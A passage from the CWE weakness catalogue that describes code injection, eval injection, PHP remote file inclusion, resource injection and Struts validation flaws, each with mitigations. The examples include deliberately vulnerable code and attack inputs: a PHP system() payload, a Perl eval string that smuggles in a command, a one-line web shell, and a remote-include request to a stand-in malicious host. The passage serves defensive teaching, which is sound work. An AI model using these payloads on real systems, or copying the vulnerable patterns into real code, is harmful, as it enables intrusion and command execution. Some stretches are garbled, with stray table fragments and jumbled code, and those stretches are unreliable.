    fclose($handle);  
    echo "Message Saved!";
} else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

```plaintext
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

```plaintext
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages. Notice that XSS (CWE-79) is also possible in this situation.

Example 2:
edit-config.pl: This CGI script is used to modify settings in a configuration file.

Perl Example:

```perl
use CGI qw(:standard);
sub config_file_add_key {
  my ($fname, $key, $arg) = @_;  # code to add a field/key to a file goes here
}
sub config_file_set_key {
  my ($fname, $key, $arg) = @_;  # code to set key to a particular file goes here
}
sub config_file_delete_key {
  my ($fname, $key, $arg) = @_;  # code to delete key from a particular file goes here
}
sub handleConfigAction {
  my ($fname, $action) = @_;  # this is super-efficient code, especially if you have to invoke
  my $key = param('key');  # any one of dozens of different functions!
  my $val = param('val');
  my $code = "config_file_$action_key($fname, $key, $val)";
  eval($code);
}
$configfile = "\home/cwe/config.txt";
print header;
if (defined(param('action'))) {
  handleConfigAction($configfile, param('action'));
} else {
  print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add_key("", "); system("/bin/ls"); This would produce the following string in handleConfigAction(): config_file_add_key("", "); system("/bin/ls"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the ".key($fname, $key, $val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Potential Mitigations

Architecture and Design
Refactor your program so that you do not have to dynamically generate code.

Architecture and Design
Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of code injection, use stringent whitelists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Testing
Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing
Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Operation

Compilation or Build Hardening

Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl’s "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

References

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Weakness ID: 95 (Weakness Base) Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

Time of Introduction

- Architecture and Design
- Implementation
Applicable Platforms
Languages
- Java
- Javascript
- Python
- Perl
- PHP
- Ruby
- Interpreted Languages

Modes of Introduction
This weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

Common Consequences
Confidentiality
Read files or directories
Read application data
The injected code could access restricted data / files.

Access Control
Bypass protection mechanism
In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control
Gain privileges / assume identity
Injected code can access resources that the attacker is directly prevented from accessing.

Integrity
Confidentiality
Availability
Other

Execute unauthorized code or commands
Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation
Hide activities
Often the actions performed by injected control code are unlogged.

Likelihood of Exploit
Medium

Demonstrative Examples
edit-config.pl: This CGI script is used to modify settings in a configuration file.
Perl Example:

```perl
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;  
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;  
    my $key = param('key');
    my $val = param('val');
```
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

# this is super-efficient code, especially if you have to invoke any one of dozens of different functions!
my $code = "config_file_add_key($fname, $key, $val);";
eval($code);

$clientfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
  handleConfigAction($clientfile, param('action'));
} else {
  print "No action specified\n";
}

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

```
Add
add_key("", "); system("/bin/ls");
```

This would produce the following string in handleConfigAction():

```
Result
config_file_add_key("", "); system("/bin/ls");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key($fname, $key, $val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

</tbody>
</table>

### Potential Mitigations

**Architecture and Design**

If possible, refactor your code so that it does not need to use eval() at all.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Implementation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Other Notes
Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.
Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

<td>1323</td>
</tr>
</tbody>
</table>

Research Gaps
This issue is probably under-reported. Most relevant CVEs have been for Perl and PHP, but eval injection applies to most interpreted languages. Javascript eval injection is likely to be heavily under-reported.
Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Related Attack Patterns

**Weakness ID:** 96 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- PHP
- Perl
- All Interpreted Languages

**Common Consequences**

**Confidentiality**
- Read files or directories
- Read application data
  The injected code could access restricted data / files.

**Access Control**

**Bypass protection mechanism**
In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

**Access Control**

**Gain privileges / assume identity**
Injected code can access resources that the attacker is directly prevented from accessing.

**Integrity**

**Confidentiality**

**Availability**

**Other**

**Execute unauthorized code or commands**
Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

**Non-Repudiation**

**Hide activities**
Often the actions performed by injected control code are unlogged.

**Enabling Factors for Exploitation**
This issue is most frequently found in PHP applications that allow users to set configuration variables that are stored within executable php files. Technically, this could also be performed in some compiled code (e.g. by byte-patching an executable), although it is highly unlikely.

**Demonstrative Examples**
This example attempts to write user messages to a message file and allow users to view them.

PHP Example:

```php
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+"):
    fwrite($handle, "<b>$name</b> says '$message'<hr>
    close($handle);
    echo "Message Saved!<p>
} else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages. Notice that XSS (CWE-79) is also possible in this situation.

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)
CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page

Weakness ID: 97 (Weakness Variant) Status: Draft

Description
Summary
The software generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Potential Mitigations
Implementation
Utilize an appropriate mix of whitelist and blacklist parsing to filter server-side include syntax from all input.

<td>CWE Cross-section</td>
<td>884</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1323</td>
</tr>
</tbody>
</table>

Relationship Notes
"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

<table>
<thead>
<tr>
<th>Weakness ID: 98 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description
In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

Alternate Terms
Remote file include
RFI
The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion
This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker’s control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

Time of Introduction
- Implementation
- Architecture and Design

Applicable Platforms
Languages
- PHP (Often)

Common Consequences
Integrity
Confidentiality
Availability
Execute unauthorized code or commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.
Likelihood of Exploit
High to Very High

Detection Methods
Manual Analysis
High
Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Automated Static Analysis
The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

Demonstrative Examples
The following code attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied ‘module_name’ parameter and appending the string ‘/function.php’ to it.

PHP Example:

```php
$dir = $_GET['module_name'];
include($dir . "function.php");
```

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the ‘module_name’ parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a ‘module_name’ of "http://malicious.example.com" by using the following request string:

```
victim.php?module_name=http://malicious.example.com
```

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

```php
system($_GET['cmd']);
```

An attacker could now go a step further in our example and provide a request string as follows:

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

```
/bin/ls -l
```

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

Potential Mitigations

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.98.1] provide this capability.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.
The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.98.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "/..//" sequences are removed from the "//...//" string in a sequential fashion, two instances of "/..//" would be removed from the original string, but the remaining characters would still form the "/..//" string.
CWE Version 2.11
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Architecture and Design

Operation
Identify and Reduce Attack Surface
Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Architecture and Design

Implementation
Identify and Reduce Attack Surface
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Operation

Firewall
Moderate
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth. An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Operation

Implementation

Environment Hardening
Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Operation

Implementation

Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

**Operation**

**Environment Hardening**

**High**

Set allow_url_fopen to false, which limits the ability to include files from remote locations. Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

<td></td>
</tr>
</tbody>
</table>

**Relationship Notes**

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

Can overlap directory traversal in local inclusion problems.

**Research Gaps**

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID: 99 (Weakness Base) Status: Draft

Description

Summary
The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.

Extended Description
A resource injection issue occurs when the following two conditions are met:

An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.

By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server. This may enable an attacker to access or modify otherwise protected system resources.

Alternate Terms
Insecure Direct Object Reference

OWASP uses this term, although it is effectively the same as resource injection.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Confidentiality
Integrity
Read application data
Modify application data
Read files or directories
Modify files or directories

An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:
The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

Java Example:

```java
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
```
... 
 rFile.delete();

Example 2:
The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

C++ Example:

```cpp
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;
```

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

Potential Mitigations

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Other Notes

A resource injection issue occurs when the following two conditions are met:

An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.

By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

Note: Resource injection that involves resources stored on the filesystem goes by the name path manipulation and is reported in a separate category. See the path manipulation description for further details of this vulnerability.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

</tr>
</tbody>
</table>

**White Box Definitions**

A weakness where the code path has:
1. start statement that accepts input followed by
2. a statement that allocates a System Resource using name where the input is part of the name
3. end statement that accesses the System Resource where
   a. the name of the System Resource violates protection

**Maintenance Notes**

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

</tr>
</tbody>
</table>

CWE-102: Struts: Duplicate Validation Forms

Weakness ID: 102 (Weakness Variant) Status: Incomplete

Description

Summary
The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

Extended Description
If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that
the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- Java

**Common Consequences**

**Integrity**

**Unexpected state**

**Demonstrative Examples**

Two validation forms with the same name.

**XML Example:**

```xml
<form-validation>
<formset>
    <form name="ProjectForm"> ... </form>
    <form name="ProjectForm"> ... </form>
</formset>
</form-validation>
```

It is critically important that validation logic be maintained and kept in sync with the rest of the application.

**Potential Mitigations**

**Implementation**

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**CWE-103: Struts: Incomplete validate() Method Definition**

**Weakness ID:** 103 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The application has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().

**Extended Description**
If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Languages
  - Java

**Common Consequences**
- Other
- Other

Disabling the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.

**Confidentiality**

**Integrity**

**Availability**

**Other**

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Demonstrative Examples**

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the RegistrationForm bean in the Struts framework will maintain the user data. The RegistrationForm class implements the validate method to validate the user input entered into the form.

**Java Example:**

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {

  // private variables for registration form
  private String name;
  private String email;
  ...

  public RegistrationForm() {
    super();
  }

  public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
    ActionErrors errors = new ActionErrors();
    if (getName() == null || getName().length() < 1) {
      errors.add("name", new ActionMessage("error.name.required"));
    }
    return errors;
  }

  // getter and setter methods for private variables
  ...
}
```

Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call super.validate(). Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

**Java Example:**

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {

  // private variables for registration form
  private String name;

  public RegistrationForm() {
    super();
  }

  public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
    ActionErrors errors = new ActionErrors();
    if (getName() == null || getName().length() < 1) {
      errors.add("name", new ActionMessage("error.name.required"));
    }
    return errors;
  }

  // getter and setter methods for private variables
  ...
}
```
private String email;
...

public RegistrationForm() {
    super();
}

public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
    ActionErrors errors = super.validate(mapping, request);
    if (errors == null) {
        errors = new ActionErrors();
    }
    if (getName() == null || getName().length() < 1) {
        errors.add("name", new ActionMessage("error.name.required"));
    }
    return errors;

    // getter and setter methods for private variables

    ...

Potential Mitigations

Implementation

Implement the validate() method and call super.validate() within that method.

Background Details

The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If you create a class that extends one of these classes, and if your class implements custom validation logic by overriding the validate() method, you must call super.validate() in your validate() implementation.

Weakness Ordinalities

Maintenance Notes

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

CWE-104: Struts: Form Bean Does Not Extend Validation Class

Weakness ID: 104 (Weakness Variant) Status: Draft

Description

Summary
If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Languages
  - Java

**Common Consequences**
- Other
- Other
  - Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.

**Confidentiality**
**Integrity**
**Availability**
- Other
- Other
  - Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Demonstrative Examples**

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

**Java Example:**

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.

**Java Example:**

